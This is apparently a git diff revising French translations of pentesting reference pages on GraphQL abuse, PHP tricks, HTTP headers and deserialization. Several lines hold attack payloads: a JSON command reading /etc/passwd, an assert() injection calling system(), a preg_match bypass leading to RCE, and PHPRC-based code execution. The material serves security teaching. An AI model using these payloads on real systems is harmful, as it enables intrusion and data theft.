Par conséquent, comme les requêtes CSRF comme celles précédentes sont envoyées **sans requêtes préalables**, il est possible de **faire** **des modifications** dans le GraphQL en abusant d'un CSRF.
|
||||
|
||||
Cependant, notez que la nouvelle valeur par défaut du cookie du drapeau `samesite` de Chrome est `Lax`. Cela signifie que le cookie ne sera envoyé que depuis un site tiers dans les requêtes GET.
|
||||
|
||||
@ -445,7 +445,7 @@ Pour plus d'informations, consultez :
|
||||
|
||||
De nombreuses fonctions GraphQL définies sur le point de terminaison pourraient uniquement vérifier l'authentification du demandeur mais pas l'autorisation.
|
||||
|
||||
Modifier les variables d'entrée de la requête pourrait conduire à des détails de compte sensibles [leakés](https://hackerone.com/reports/792927).
|
||||
Modifier les variables d'entrée de la requête pourrait conduire à des détails de compte sensibles [fuités](https://hackerone.com/reports/792927).
|
||||
|
||||
La mutation pourrait même conduire à une prise de contrôle de compte en essayant de modifier d'autres données de compte.
|
||||
```javascript
|
||||
@ -465,11 +465,11 @@ Dans l'exemple ci-dessous, vous pouvez voir que l'opération est "forgotPassword
|
||||
|
||||
## Contournement des limites de taux en utilisant des alias dans GraphQL
|
||||
|
||||
Dans GraphQL, les alias sont une fonctionnalité puissante qui permet de **nommer explicitement les propriétés** lors d'une requête API. Cette capacité est particulièrement utile pour récupérer **plusieurs instances du même type** d'objet dans une seule requête. Les alias peuvent être utilisés pour surmonter la limitation qui empêche les objets GraphQL d'avoir plusieurs propriétés avec le même nom.
|
||||
Dans GraphQL, les alias sont une fonctionnalité puissante qui permet le **nommage explicite des propriétés** lors d'une requête API. Cette capacité est particulièrement utile pour récupérer **plusieurs instances du même type** d'objet dans une seule requête. Les alias peuvent être utilisés pour surmonter la limitation qui empêche les objets GraphQL d'avoir plusieurs propriétés avec le même nom.
|
||||
|
||||
Pour une compréhension détaillée des alias GraphQL, la ressource suivante est recommandée : [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
|
||||
Bien que le but principal des alias soit de réduire la nécessité de nombreux appels API, un cas d'utilisation non intentionnel a été identifié où les alias peuvent être exploités pour exécuter des attaques par force brute sur un point de terminaison GraphQL. Cela est possible car certains points de terminaison sont protégés par des limiteurs de taux conçus pour contrer les attaques par force brute en restreignant le **nombre de requêtes HTTP**. Cependant, ces limiteurs de taux pourraient ne pas tenir compte du nombre d'opérations dans chaque requête. Étant donné que les alias permettent d'inclure plusieurs requêtes dans une seule requête HTTP, ils peuvent contourner de telles mesures de limitation de taux.
|
||||
Bien que le but principal des alias soit de réduire la nécessité de nombreux appels API, un cas d'utilisation non intentionnel a été identifié où les alias peuvent être exploités pour exécuter des attaques par force brute sur un point de terminaison GraphQL. Cela est possible car certains points de terminaison sont protégés par des limiteurs de taux conçus pour contrer les attaques par force brute en restreignant le **nombre de requêtes HTTP**. Cependant, ces limiteurs de taux pourraient ne pas tenir compte du nombre d'opérations dans chaque requête. Étant donné que les alias permettent l'inclusion de plusieurs requêtes dans une seule requête HTTP, ils peuvent contourner de telles mesures de limitation de taux.
|
||||
|
||||
Considérez l'exemple fourni ci-dessous, qui illustre comment des requêtes aliasées peuvent être utilisées pour vérifier la validité des codes de réduction en magasin. Cette méthode pourrait contourner la limitation de taux puisqu'elle compile plusieurs requêtes en une seule requête HTTP, permettant potentiellement la vérification de plusieurs codes de réduction simultanément.
|
||||
```bash
|
||||
@ -553,12 +553,12 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) : Tester les erreurs de configuration courantes des points de terminaison graphql
|
||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql) : Script d'audit de sécurité GraphQL axé sur l'exécution de requêtes et de mutations GraphQL en lot.
|
||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f) : Identifier le graphql utilisé
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler) : Boîte à outils pouvant être utilisée pour récupérer des schémas et rechercher des données sensibles, tester l'autorisation, forcer les schémas par brute force et trouver des chemins vers un type donné.
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler) : Boîte à outils pouvant être utilisée pour récupérer des schémas et rechercher des données sensibles, tester l'autorisation, forcer les schémas et trouver des chemins vers un type donné.
|
||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html) : Peut être utilisé comme autonome ou [extension Burp](https://github.com/doyensec/inql).
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) : Peut également être utilisé comme client CLI pour automatiser les attaques
|
||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) : Outil qui répertorie les différentes manières de **atteindre un type donné dans un schéma GraphQL**.
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) : Peut également être utilisé comme client CLI pour automatiser les attaques : `python3 graphqlmap.py -u http://example.com/graphql --inject`
|
||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) : Outil qui liste les différentes manières de **atteindre un type donné dans un schéma GraphQL**.
|
||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection) : Le successeur des modes autonome et CLI d'InQL
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql) : Extension Burp pour des tests GraphQL avancés. Le _**Scanner**_ est le cœur d'InQL v5.0, où vous pouvez analyser un point de terminaison GraphQL ou un fichier de schéma d'introspection local. Il génère automatiquement toutes les requêtes et mutations possibles, les organisant dans une vue structurée pour votre analyse. Le composant _**Attacker**_ vous permet d'exécuter des attaques GraphQL en lot, ce qui peut être utile pour contourner des limites de taux mal implémentées.
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql) : Extension Burp ou script python pour des tests GraphQL avancés. Le _**Scanner**_ est le cœur d'InQL v5.0, où vous pouvez analyser un point de terminaison GraphQL ou un fichier de schéma d'introspection local. Il génère automatiquement toutes les requêtes et mutations possibles, les organisant dans une vue structurée pour votre analyse. Le composant _**Attacker**_ vous permet d'exécuter des attaques GraphQL en lot, ce qui peut être utile pour contourner des limites de taux mal implémentées : `python3 inql.py -t http://example.com/graphql -o output.json`
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance) : Essayer d'obtenir le schéma même avec l'introspection désactivée en utilisant l'aide de certaines bases de données Graphql qui suggéreront les noms des mutations et des paramètres.
|
||||
|
||||
### Clients
|
||||
|
@ -36,7 +36,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
||||
- `"0xAAAA" == "43690" -> True` Les chaînes composées de nombres en format décimal ou hexadécimal peuvent être comparées à d'autres nombres/chaînes avec un résultat True si les nombres étaient les mêmes (les nombres dans une chaîne sont interprétés comme des nombres)
|
||||
- `"0e3264578" == 0 --> True` Une chaîne commençant par "0e" et suivie de n'importe quoi sera égale à 0
|
||||
- `"0X3264578" == 0X --> True` Une chaîne commençant par "0" et suivie de n'importe quelle lettre (X peut être n'importe quelle lettre) et suivie de n'importe quoi sera égale à 0
|
||||
- `"0e12334" == "0" --> True` C'est très intéressant car dans certains cas, vous pouvez contrôler l'entrée de la chaîne de "0" et certains contenus qui sont hachés et comparés à cela. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver des **chaînes déjà hachées** avec ce format ici : [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"0e12334" == "0" --> True` C'est très intéressant car dans certains cas, vous pouvez contrôler l'entrée de la chaîne de "0" et certains contenus qui sont hachés et comparés à cela. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver **des chaînes déjà hachées** avec ce format ici : [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` N'importe quelle lettre dans une chaîne est égale à int 0
|
||||
|
||||
Plus d'infos sur [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
@ -60,7 +60,7 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
|
||||
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
```
|
||||
La même erreur se produit avec `strcasecmp()`
|
||||
L'erreur se produit également avec `strcasecmp()`
|
||||
|
||||
### Conversion stricte de types
|
||||
|
||||
@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
|
||||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
Pour contourner cette vérification, vous pourriez **envoyer la valeur avec des nouvelles lignes urlencoded** (`%0A`) ou si vous pouvez envoyer **des données JSON**, envoyez-les en **plusieurs lignes** :
|
||||
Pour contourner cette vérification, vous pourriez **envoyer la valeur avec des nouvelles lignes urlencodées** (`%0A`) ou si vous pouvez envoyer **des données JSON**, envoyez-les en **plusieurs lignes** :
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
@ -110,7 +110,7 @@ Astuce provenant de : [https://simones-organization-4.gitbook.io/hackbook-of-a-h
|
||||
|
||||
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
En résumé, le problème se produit parce que les fonctions `preg_*` en PHP reposent sur la [bibliothèque PCRE](http://www.pcre.org/). Dans PCRE, certaines expressions régulières sont appariées en utilisant de nombreux appels récursifs, ce qui utilise beaucoup d'espace de pile. Il est possible de définir une limite sur le nombre de récursions autorisées, mais en PHP, cette limite [par défaut à 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), ce qui est plus que ce qui peut tenir dans la pile.
|
||||
En résumé, le problème se produit parce que les fonctions `preg_*` en PHP reposent sur la [bibliothèque PCRE](http://www.pcre.org/). Dans PCRE, certaines expressions régulières sont appariées en utilisant de nombreux appels récursifs, ce qui utilise beaucoup d'espace de pile. Il est possible de définir une limite sur le nombre de récursions autorisées, mais en PHP, cette limite [par défaut à 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ce qui est plus que ce qui peut tenir dans la pile.
|
||||
|
||||
[Ce fil de discussion Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) a également été lié dans le post où il est question plus en profondeur de ce problème. Notre tâche était maintenant claire :\
|
||||
**Envoyer une entrée qui ferait que la regex effectue 100_000+ récursions, provoquant un SIGSEGV, faisant que la fonction `preg_match()` retourne `false`, faisant ainsi croire à l'application que notre entrée n'est pas malveillante, lançant la surprise à la fin de la charge utile quelque chose comme `{system(<verybadcommand>)}` pour obtenir SSTI --> RCE --> flag :)**.
|
||||
@ -157,6 +157,7 @@ Check:
|
||||
- Les **cookies PHPSESSION du même domaine sont stockés au même endroit**, donc si dans un domaine **différents cookies sont utilisés dans différents chemins** vous pouvez faire en sorte qu'un chemin **accède au cookie de l'autre chemin** en définissant la valeur de l'autre cookie de chemin.\
|
||||
De cette façon, si **les deux chemins accèdent à une variable avec le même nom** vous pouvez faire en sorte que **la valeur de cette variable dans path1 s'applique à path2**. Et ensuite path2 considérera comme valides les variables de path1 (en donnant au cookie le nom qui lui correspond dans path2).
|
||||
- Lorsque vous avez les **noms d'utilisateur** des utilisateurs de la machine. Vérifiez l'adresse : **/\~\<USERNAME>** pour voir si les répertoires php sont activés.
|
||||
- Si une configuration php a **`register_argc_argv = On`** alors les paramètres de requête séparés par des espaces sont utilisés pour peupler le tableau des arguments **`array_keys($_SERVER['argv'])`** comme s'ils étaient **des arguments de la CLI**. C'est intéressant car si ce **paramètre est désactivé**, la valeur du **tableau args sera `Null`** lorsqu'il est appelé depuis le web car le tableau ars ne sera pas peuplé. Par conséquent, si une page web essaie de vérifier si elle s'exécute en tant qu'outil web ou en tant qu'outil CLI avec une comparaison comme `if (empty($_SERVER['argv'])) {` un attaquant pourrait envoyer **des paramètres dans la requête GET comme `?--configPath=/lalala`** et cela pensera qu'il s'exécute en tant que CLI et pourrait potentiellement analyser et utiliser ces arguments. Plus d'infos dans le [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
|
||||
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
### password_hash/password_verify
|
||||
@ -223,7 +224,7 @@ Cette option de preg_replace a été **dépréciée depuis PHP 5.5.0.**
|
||||
```
|
||||
### **RCE via Assert()**
|
||||
|
||||
Cette fonction dans php vous permet d'**exécuter du code écrit dans une chaîne** afin de **retourner vrai ou faux** (et en fonction de cela, d'altérer l'exécution). En général, la variable utilisateur sera insérée au milieu d'une chaîne. Par exemple :\
|
||||
Cette fonction dans php vous permet d'**exécuter du code écrit dans une chaîne** afin de **retourner vrai ou faux** (et en fonction de cela, modifier l'exécution). En général, la variable utilisateur sera insérée au milieu d'une chaîne. Par exemple :\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> Dans ce cas, pour obtenir **RCE**, vous pourriez faire :
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
@ -273,10 +274,10 @@ Différentes shells .htaccess peuvent être trouvées [ici](https://github.com/w
|
||||
|
||||
### RCE via Env Variables
|
||||
|
||||
Si vous trouvez une vulnérabilité qui vous permet de **modifier les variables d'environnement en PHP** (et une autre pour télécharger des fichiers, bien que avec plus de recherche cela puisse peut-être être contourné), vous pourriez abuser de ce comportement pour obtenir **RCE**.
|
||||
Si vous trouvez une vulnérabilité qui vous permet de **modifier les variables d'environnement en PHP** (et une autre pour télécharger des fichiers, bien que cela puisse être contourné avec plus de recherche), vous pourriez abuser de ce comportement pour obtenir **RCE**.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path) : Cette variable d'environnement vous permet de charger des bibliothèques arbitraires lors de l'exécution d'autres binaires (bien que dans ce cas cela puisse ne pas fonctionner).
|
||||
- **`PHPRC`** : Indique à PHP **où localiser son fichier de configuration**, généralement appelé `php.ini`. Si vous pouvez télécharger votre propre fichier de configuration, alors, utilisez `PHPRC` pour indiquer à PHP de l'utiliser. Ajoutez une entrée **`auto_prepend_file`** spécifiant un deuxième fichier téléchargé. Ce deuxième fichier contient du **code PHP normal, qui est ensuite exécuté** par le runtime PHP avant tout autre code.
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path) : Cette variable d'environnement vous permet de charger des bibliothèques arbitraires lors de l'exécution d'autres binaires (bien que dans ce cas, cela pourrait ne pas fonctionner).
|
||||
- **`PHPRC`** : Indique à PHP **où localiser son fichier de configuration**, généralement appelé `php.ini`. Si vous pouvez télécharger votre propre fichier de configuration, alors, utilisez `PHPRC` pour pointer PHP vers celui-ci. Ajoutez une entrée **`auto_prepend_file`** spécifiant un deuxième fichier téléchargé. Ce deuxième fichier contient du **code PHP normal, qui est ensuite exécuté** par le runtime PHP avant tout autre code.
|
||||
1. Téléchargez un fichier PHP contenant notre shellcode
|
||||
2. Téléchargez un deuxième fichier, contenant une directive **`auto_prepend_file`** instruisant le préprocesseur PHP d'exécuter le fichier que nous avons téléchargé à l'étape 1
|
||||
3. Définissez la variable `PHPRC` sur le fichier que nous avons téléchargé à l'étape 2.
|
||||
@ -350,7 +351,7 @@ echo "${Da}"; //Drums
|
||||
echo "$x ${$x}"; //Da Drums
|
||||
echo "$x ${Da}"; //Da Drums
|
||||
```
|
||||
## RCE abusant de $\_GET\["a"]\($\_GET\["b")
|
||||
## RCE abusant de $\_GET\["a"]\($\_GET\["b"])
|
||||
|
||||
Si sur une page vous pouvez **créer un nouvel objet d'une classe arbitraire**, vous pourriez être en mesure d'obtenir RCE, consultez la page suivante pour apprendre comment :
|
||||
|
||||
|
@ -7,7 +7,7 @@
|
||||
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
|
||||
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
|
||||
|
||||
## En-têtes à modifier la localisation
|
||||
## En-têtes à modifier l'emplacement
|
||||
|
||||
Réécrire **IP source** :
|
||||
|
||||
@ -28,7 +28,7 @@ Réécrire **IP source** :
|
||||
- `Via: 1.0 fred, 1.1 127.0.0.1`
|
||||
- `Connection: close, X-Forwarded-For` (Vérifiez les en-têtes hop-by-hop)
|
||||
|
||||
Réécrire **localisation** :
|
||||
Réécrire **emplacement** :
|
||||
|
||||
- `X-Original-URL: /admin/console`
|
||||
- `X-Rewrite-URL: /admin/console`
|
||||
@ -43,7 +43,7 @@ Un en-tête hop-by-hop est un en-tête conçu pour être traité et consommé pa
|
||||
../../pentesting-web/abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
|
||||
## Contournement de requêtes HTTP
|
||||
## Contrebandier de requêtes HTTP
|
||||
|
||||
- `Content-Length: 30`
|
||||
- `Transfer-Encoding: chunked`
|
||||
@ -59,7 +59,7 @@ Un en-tête hop-by-hop est un en-tête conçu pour être traité et consommé pa
|
||||
- **`X-Cache`** dans la réponse peut avoir la valeur **`miss`** lorsque la demande n'a pas été mise en cache et la valeur **`hit`** lorsqu'elle est mise en cache
|
||||
- Comportement similaire dans l'en-tête **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** indique si une ressource est mise en cache et quand la prochaine fois la ressource sera mise en cache à nouveau : `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** est souvent utilisé dans la réponse pour **indiquer des en-têtes supplémentaires** qui sont considérés comme **partie de la clé de cache** même s'ils ne sont normalement pas clés.
|
||||
- **`Vary`** est souvent utilisé dans la réponse pour **indiquer des en-têtes supplémentaires** qui sont traités comme **partie de la clé de cache** même s'ils ne sont normalement pas indexés.
|
||||
- **`Age`** définit le temps en secondes que l'objet a passé dans le cache proxy.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** indique également qu'une ressource a été mise en cache
|
||||
|
||||
@ -83,8 +83,9 @@ Un en-tête hop-by-hop est un en-tête conçu pour être traité et consommé pa
|
||||
## Requêtes de plage
|
||||
|
||||
- **`Accept-Ranges`** : Indique si le serveur prend en charge les requêtes de plage, et si oui, dans quelle unité la plage peut être exprimée. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`** : Indique la partie d'un document que le serveur doit renvoyer.
|
||||
- **`If-Range`** : Crée une requête de plage conditionnelle qui n'est remplie que si l'etag ou la date donnée correspond à la ressource distante. Utilisé pour éviter de télécharger deux plages de versions incompatibles de la ressource.
|
||||
- **`Range`** : Indique la partie d'un document que le serveur doit retourner. Par exemple, `Range:80-100` retournera les octets 80 à 100 de la réponse originale avec un code d'état de 206 Contenu Partiel. N'oubliez pas de supprimer l'en-tête `Accept-Encoding` de la demande.
|
||||
- Cela pourrait être utile pour obtenir une réponse avec du code javascript réfléchi arbitraire qui pourrait autrement être échappé. Mais pour en abuser, vous auriez besoin d'injecter ces en-têtes dans la demande.
|
||||
- **`If-Range`** : Crée une demande de plage conditionnelle qui n'est remplie que si l'etag ou la date donnée correspond à la ressource distante. Utilisé pour éviter de télécharger deux plages de versions incompatibles de la ressource.
|
||||
- **`Content-Range`** : Indique où dans un message complet un message partiel appartient.
|
||||
|
||||
## Informations sur le corps du message
|
||||
@ -95,10 +96,10 @@ Un en-tête hop-by-hop est un en-tête conçu pour être traité et consommé pa
|
||||
- **`Content-Language`** : Décrit la ou les langues humaines destinées au public, afin de permettre à un utilisateur de différencier selon la langue préférée de l'utilisateur.
|
||||
- **`Content-Location`** : Indique un emplacement alternatif pour les données retournées.
|
||||
|
||||
Du point de vue d'un pentest, ces informations sont généralement "inutiles", mais si la ressource est **protégée** par un 401 ou 403 et que vous pouvez trouver un **moyen** d'**obtenir** cette **info**, cela pourrait être **intéressant.**\
|
||||
Par exemple, une combinaison de **`Range`** et **`Etag`** dans une requête HEAD peut révéler le contenu de la page via des requêtes HEAD :
|
||||
Du point de vue d'un pentest, ces informations sont généralement "inutiles", mais si la ressource est **protégée** par un 401 ou 403 et que vous pouvez trouver un **moyen** d'**obtenir** ces **informations**, cela pourrait être **intéressant.**\
|
||||
Par exemple, une combinaison de **`Range`** et **`Etag`** dans une demande HEAD peut révéler le contenu de la page via des demandes HEAD :
|
||||
|
||||
- Une requête avec l'en-tête `Range: bytes=20-20` et avec une réponse contenant `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` révèle que le SHA1 de l'octet 20 est `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
- Une demande avec l'en-tête `Range: bytes=20-20` et avec une réponse contenant `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` révèle que le SHA1 de l'octet 20 est `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
|
||||
## Informations sur le serveur
|
||||
|
||||
@ -153,21 +154,21 @@ X-Content-Type-Options: nosniff
|
||||
```
|
||||
### **X-Frame-Options**
|
||||
|
||||
Pour lutter contre le clickjacking, cet en-tête limite la façon dont les documents peuvent être intégrés dans les balises `<frame>`, `<iframe>`, `<embed>` ou `<object>`, recommandant à tous les documents de spécifier explicitement leurs autorisations d'intégration.
|
||||
Pour lutter contre le clickjacking, cet en-tête limite la manière dont les documents peuvent être intégrés dans les balises `<frame>`, `<iframe>`, `<embed>` ou `<object>`, recommandant à tous les documents de spécifier explicitement leurs autorisations d'intégration.
|
||||
```
|
||||
X-Frame-Options: DENY
|
||||
```
|
||||
### **Politique de Ressources Cross-Origin (CORP) et Partage de Ressources Cross-Origin (CORS)**
|
||||
### **Cross-Origin Resource Policy (CORP) et Cross-Origin Resource Sharing (CORS)**
|
||||
|
||||
CORP est crucial pour spécifier quelles ressources peuvent être chargées par des sites web, atténuant les fuites inter-sites. CORS, en revanche, permet un mécanisme de partage de ressources cross-origin plus flexible, assouplissant la politique de même origine sous certaines conditions.
|
||||
CORP est crucial pour spécifier quelles ressources peuvent être chargées par les sites web, atténuant les fuites inter-sites. CORS, en revanche, permet un mécanisme de partage de ressources inter-origines plus flexible, assouplissant la politique de même origine dans certaines conditions.
|
||||
```
|
||||
Cross-Origin-Resource-Policy: same-origin
|
||||
Access-Control-Allow-Origin: https://example.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
```
|
||||
### **Politique d'Intégration entre Origines (COEP) et Politique d'Ouverture entre Origines (COOP)**
|
||||
### **Politique d'Intégration Cross-Origin (COEP) et Politique d'Ouverture Cross-Origin (COOP)**
|
||||
|
||||
COEP et COOP sont essentiels pour permettre l'isolement entre origines, réduisant considérablement le risque d'attaques similaires à Spectre. Ils contrôlent le chargement des ressources entre origines et l'interaction avec les fenêtres entre origines, respectivement.
|
||||
COEP et COOP sont essentiels pour permettre l'isolement cross-origin, réduisant considérablement le risque d'attaques similaires à Spectre. Ils contrôlent le chargement des ressources cross-origin et l'interaction avec les fenêtres cross-origin, respectivement.
|
||||
```
|
||||
Cross-Origin-Embedder-Policy: require-corp
|
||||
Cross-Origin-Opener-Policy: same-origin-allow-popups
|
||||
|
@ -172,7 +172,7 @@ python-yaml-deserialization.md
|
||||
JS **n'a pas de fonctions "magiques"** comme PHP ou Python qui vont être exécutées juste pour créer un objet. Mais il a certaines **fonctions** qui sont **fréquemment utilisées même sans les appeler directement** telles que **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Si vous abusez d'une désérialisation, vous pouvez **compromettre ces fonctions pour exécuter d'autres codes** (abusant potentiellement des pollutions de prototype) et vous pourriez exécuter du code arbitraire lorsqu'elles sont appelées.
|
||||
|
||||
Une autre **façon "magique" d'appeler une fonction** sans l'appeler directement est de **compromettre un objet qui est retourné par une fonction asynchrone** (promesse). Parce que, si vous **transformez** cet **objet de retour** en une autre **promesse** avec une **propriété** appelée **"then" de type fonction**, elle sera **exécutée** juste parce qu'elle est retournée par une autre promesse. _Suivez_ [_**ce lien**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _pour plus d'infos._
|
||||
Une autre **façon "magique" d'appeler une fonction** sans l'appeler directement est de **compromettre un objet qui est retourné par une fonction asynchrone** (promise). Parce que, si vous **transformez** cet **objet de retour** en une autre **promise** avec une **propriété** appelée **"then" de type fonction**, elle sera **exécutée** juste parce qu'elle est retournée par une autre promise. _Suivez_ [_**ce lien**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _pour plus d'infos._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -233,7 +233,7 @@ Vous pouvez voir dans l'exemple que lorsqu'une fonction est sérialisée, le dra
|
||||
|
||||
Comme vous pouvez le voir dans le dernier morceau de code, **si le drapeau est trouvé**, `eval` est utilisé pour désérialiser la fonction, donc fondamentalement **l'entrée utilisateur est utilisée à l'intérieur de la fonction `eval`**.
|
||||
|
||||
Cependant, **simplement sérialiser** une fonction **ne l'exécutera pas**, car il serait nécessaire qu'une partie du code **appelle `y.rce`** dans notre exemple et c'est très **improbable**.\
|
||||
Cependant, **simplement sérialiser** une fonction **ne l'exécutera pas**, car il serait nécessaire qu'une partie du code **appelle `y.rce`** dans notre exemple et c'est très **peu probable**.\
|
||||
Quoi qu'il en soit, vous pourriez simplement **modifier l'objet sérialisé** **en ajoutant des parenthèses** afin d'exécuter automatiquement la fonction sérialisée lorsque l'objet est désérialisé.\
|
||||
Dans le prochain morceau de code, **remarquez la dernière parenthèse** et comment la fonction `unserialize` exécutera automatiquement le code :
|
||||
```javascript
|
||||
@ -322,7 +322,7 @@ En Java, **les rappels de désérialisation sont exécutés pendant le processus
|
||||
Pour identifier les vulnérabilités potentielles de sérialisation dans le code, recherchez :
|
||||
|
||||
- Des classes qui implémentent l'interface `Serializable`.
|
||||
- L'utilisation des fonctions `java.io.ObjectInputStream`, `readObject`, `readUnshared`.
|
||||
- L'utilisation des fonctions `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
|
||||
|
||||
Faites particulièrement attention à :
|
||||
|
||||
@ -348,7 +348,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
|
||||
```
|
||||
### Vérifiez si vulnérable
|
||||
|
||||
Si vous voulez **apprendre comment fonctionne une exploitation de désérialisation Java**, vous devriez jeter un œil à [**Désérialisation Java de base**](basic-java-deserialization-objectinputstream-readobject.md), [**Désérialisation DNS Java**](java-dns-deserialization-and-gadgetprobe.md), et [**Charge utile CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
Si vous voulez **apprendre comment fonctionne une exploitation de désérialisation Java**, vous devriez jeter un œil à [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), et [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
#### Test en boîte blanche
|
||||
|
||||
@ -486,7 +486,7 @@ Lisez-en plus sur cette bibliothèque Java JSON : [https://www.alphabot.com/secu
|
||||
|
||||
### Labs
|
||||
|
||||
- Si vous souhaitez tester des payloads ysoserial, vous pouvez **exécuter cette webapp** : [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- Si vous souhaitez tester des payloads ysoserial, vous pouvez **exécuter cette application web** : [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
|
||||
### Pourquoi
|
||||
@ -512,7 +512,7 @@ private transient double margin; // declared transient
|
||||
```
|
||||
#### Évitez la sérialisation d'une classe qui doit implémenter Serializable
|
||||
|
||||
Dans les scénarios où certains **objets doivent implémenter l'interface `Serializable`** en raison de la hiérarchie des classes, il existe un risque de désérialisation involontaire. Pour éviter cela, assurez-vous que ces objets ne sont pas désérialisables en définissant une méthode `readObject()` `final` qui lance systématiquement une exception, comme indiqué ci-dessous :
|
||||
Dans les scénarios où certains **objets doivent implémenter l'interface `Serializable`** en raison de la hiérarchie des classes, il existe un risque de désérialisation involontaire. Pour éviter cela, assurez-vous que ces objets ne sont pas désérialisables en définissant une méthode `readObject()` `final` qui lance systématiquement une exception, comme montré ci-dessous :
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
@ -554,7 +554,7 @@ Il fournit un moyen de sécuriser la désérialisation de manière dynamique, id
|
||||
|
||||
Vérifiez un exemple dans [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
|
||||
**Implémentation des filtres de sérialisation** : Java 9 a introduit des filtres de sérialisation via l'**`ObjectInputFilter`**, fournissant un mécanisme puissant pour spécifier les critères que les objets sérialisés doivent respecter avant d'être désérialisés. Ces filtres peuvent être appliqués globalement ou par flux, offrant un contrôle granulaire sur le processus de désérialisation.
|
||||
